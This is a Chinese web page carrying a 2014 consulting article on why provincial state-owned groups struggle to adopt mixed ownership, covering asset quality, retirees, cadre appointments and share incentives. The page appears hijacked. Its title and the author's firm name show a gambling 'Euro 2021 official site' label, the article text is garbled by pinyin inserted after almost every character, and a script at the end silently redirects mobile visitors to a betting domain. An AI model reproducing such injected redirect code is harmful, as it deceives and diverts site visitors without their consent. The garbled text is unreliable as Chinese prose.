2021欧洲杯指定官网

English
简体中文
To provide you with one-stop management consulting services
省级国有集团公司推进混合所有制之困局
发表时间:2014-09-12 作者: 字号: A A A
 十(shi)八届(jie)三中(zhong)全会(hui)(hui)通过的(de)(de)(de)(de)《关(guan)于全面深(shen)化改革若干重(zhong)大问题(ti)的(de)(de)(de)(de)决定(ding)(ding)》提(ti)出(chu),“要积极发展混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)制(zhi)(zhi)经(jing)(jing)济(ji)(ji)”,“混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)制(zhi)(zhi)是(shi)我(wo)国(guo)基本(ben)(ben)经(jing)(jing)济(ji)(ji)制(zhi)(zhi)度(du)的(de)(de)(de)(de)重(zhong)要实(shi)现形(xing)式”,混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)制(zhi)(zhi)也就成了(le)这两年国(guo)企改制(zhi)(zhi)的(de)(de)(de)(de)主题(ti)。混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)制(zhi)(zhi)并(bing)非新事物,十(shi)四届(jie)三中(zhong)全会(hui)(hui)提(ti)出(chu)“混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)”是(shi)“新的(de)(de)(de)(de)财产所(suo)(suo)有(you)(you)结构”的(de)(de)(de)(de)表述;十(shi)六(liu)届(jie)三中(zhong)全会(hui)(hui)提(ti)出(chu)“大力发展国(guo)有(you)(you)资本(ben)(ben)、集(ji)体资本(ben)(ben)和(he)(he)非公(gong)(gong)有(you)(you)资本(ben)(ben)等参股的(de)(de)(de)(de)混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)制(zhi)(zhi)经(jing)(jing)济(ji)(ji)”,并(bing)确认混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)制(zhi)(zhi)经(jing)(jing)济(ji)(ji)是(shi)我(wo)国(guo)市场经(jing)(jing)济(ji)(ji)下“公(gong)(gong)有(you)(you)制(zhi)(zhi)主要的(de)(de)(de)(de)实(shi)现形(xing)式”;到十(shi)八届(jie)三中(zhong)全会(hui)(hui)对于混(hun)(hun)(hun)合(he)所(suo)(suo)有(you)(you)制(zhi)(zhi)的(de)(de)(de)(de)解读应(ying)该是(shi)有(you)(you)了(le)新的(de)(de)(de)(de)内涵和(he)(he)定(ding)(ding)位(wei)。

 

 

大(da)有(you)大(da)改,小有(you)小改。中央级集(ji)团(tuan)(tuan)公(gong)(gong)司(si)虽然资(zi)产(chan)规模大(da),但是可以根据(ju)业务特点划(hua)分(fen)资(zi)源和运营,比如石(shi)油公(gong)(gong)司(si)独立(li)出管道公(gong)(gong)司(si),电(dian)信公(gong)(gong)司(si)独立(li)出铁塔公(gong)(gong)司(si),让各个环节(jie)逐步形成(cheng)(cheng)混合所有(you)制;小型(xing)国企中资(zi)产(chan)优良(liang)者自然也是不愁嫁,唯有(you)省级国有(you)集(ji)团(tuan)(tuan)公(gong)(gong)司(si)高不成(cheng)(cheng)低不就,面(mian)临(lin)诸多改革(ge)难点。

 

一、大部(bu)分省级国有(you)集团公司的(de)出现,并不是市场(chang)化(hua)运作的(de)产物,更多(duo)考虑了国有(you)资(zi)产管理(li)的(de)角度,其(qi)资(zi)(zi)(zi)产良(liang)莠不(bu)齐,既有(you)运(yun)营良(liang)好的(de)(de)企业,也有(you)基本不(bu)运(yun)营但(dan)是因(yin)为(wei)人员(yuan)和资(zi)(zi)(zi)产处置(zhi)等原因(yin)保(bao)留下来的(de)(de)企业,这些资(zi)(zi)(zi)产打包在(zai)一起,就不(bu)是愿(yuan)(yuan)意(yi)不(bu)愿(yuan)(yuan)意(yi)卖的(de)(de)问题(ti)(ti),而是别人不(bu)愿(yuan)(yuan)买的(de)(de)问题(ti)(ti)。如果购(gou)买这样的(de)(de)资(zi)(zi)(zi)产,为(wei)什么(me)不(bu)直接选择(ze)购(gou)买其(qi)中的(de)(de)优(you)质(zhi)资(zi)(zi)(zi)产?实际上也是这样,省(sheng)级国(guo)有(you)集团(tuan)公(gong)司拥有(you)的(de)(de)优(you)质(zhi)资(zi)(zi)(zi)产,往(wang)往(wang)已经有(you)外(wai)部投资(zi)(zi)(zi)者(zhe)在(zai)其(qi)中。

 

二、离退(tui)休人员的安置也(ye)成为省级国(guo)有集团(tuan)公司引入投资者的阻碍。在省级集团公(gong)司(si),往往有(you)一定(ding)数量的(de)(de)(de)(de)离退休(xiu)人(ren)员(yuan)需要(yao)管(guan)(guan)理,甚至(zhi)需要(yao)成(cheng)立专门的(de)(de)(de)(de)部(bu)门。让外部(bu)投资者来负担(dan)有(you)点勉(mian)为其难,特别是离退休(xiu)人(ren)员(yuan)组成(cheng)复杂,管(guan)(guan)理困难,稍(shao)有(you)不(bu)(bu)慎还(hai)会影响(xiang)到企业的(de)(de)(de)(de)经营运作(zuo),不(bu)(bu)仅仅是成(cheng)本付出的(de)(de)(de)(de)问题(ti)。

 

三(san)、省(sheng)级(ji)国有集团公司的管理(li)者往往是(shi)厅局级(ji)干部,其任命往往是(shi)通过省(sheng)委组织(zhi)部门,这个身份带(dai)来的阻碍似乎难以(yi)解决。外部投资者如果连(lian)人事(shi)权(quan)都(dou)没有(you),必然难以(yi)决定投资。而企业(ye)管理者为了(le)改革(ge)先革(ge)了(le)自己(ji)的(de)命,没有(you)享受(shou)到市场化(hua)的(de)高(gao)报酬(chou),先失去了(le)体(ti)制内的(de)身份(fen),也要求过(guo)高(gao)了(le)。

 

四、为便于推进混合所有制,有的省(sheng)级(ji)集团公司(si)新成(cheng)立了运营平台,但是又带来了新的问题:由(you)于企业(ye)(ye)管理(li)者(zhe)禁(jin)止向下持股,中长期激励(li)难(nan)以实施(shi)(shi)。国(guo)有企业(ye)(ye)在实施(shi)(shi)股权激励(li)时,为了避免矛盾,往(wang)往(wang)采(cai)取全员持股的(de)(de)方(fang)式,由(you)于相(xiang)关政策的(de)(de)影响,最应该(gai)加入激励(li)体系(xi)的(de)(de)管理(li)层缺位,导致中长期激励(li)失去实施(shi)(shi)的(de)(de)条件。虽然有的(de)(de)企业(ye)(ye)采(cai)取了代持的(de)(de)方(fang)式,但是法律(lv)风险(xian)依然存在。

 

五、省级(ji)国有(you)集团(tuan)公司往(wang)(wang)往(wang)(wang)资产规模比较(jiao)大(da),在实施员工持股(gu)计划时,出现(xian)员工没有(you)能力(li)购买股(gu)权或获取股(gu)权较(jiao)少的(de)情况。如果(guo)采取激励基金等方式,又涉及了业绩标准确定(ding)的难题,国(guo)有(you)资产管理(li)部门成为(wei)了风(feng)险责任的承担者,但(dan)是却没有(you)享有(you)利(li)益,最明智的方式必然是否决基于公司业绩提取激励基金的方式。

 

以(yi)上内容并非是(shi)推进混合所(suo)有制的一般性问题(ti)(ti),而是(shi)在为(wei)省级集团公(gong)司开展咨询服(fu)务,以(yi)及(ji)与(yu)国有资(zi)产管理部门研讨时遇到问题(ti)(ti)的提炼和汇(hui)总(zong),与(yu)大家分(fen)享。

 

(作者简介:许启明,2021欧洲杯指定官网管理咨(zi)询公司高级合伙人,从事咨(zi)询行(xing)业10多年,服(fu)务过大(da)量集(ji)团化(hua)管(guan)(guan)理的(de)公(gong)司,其中既有国(guo)有大(da)型集(ji)团公(gong)司,也有民营集(ji)团公(gong)司,服(fu)务内(nei)容包括(kuo)战(zhan)略规划、集(ji)团管(guan)(guan)控(kong)以(yi)及人力资源管(guan)(guan)理等。)

分(fen)享到:
在线咨询
上门义诊
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();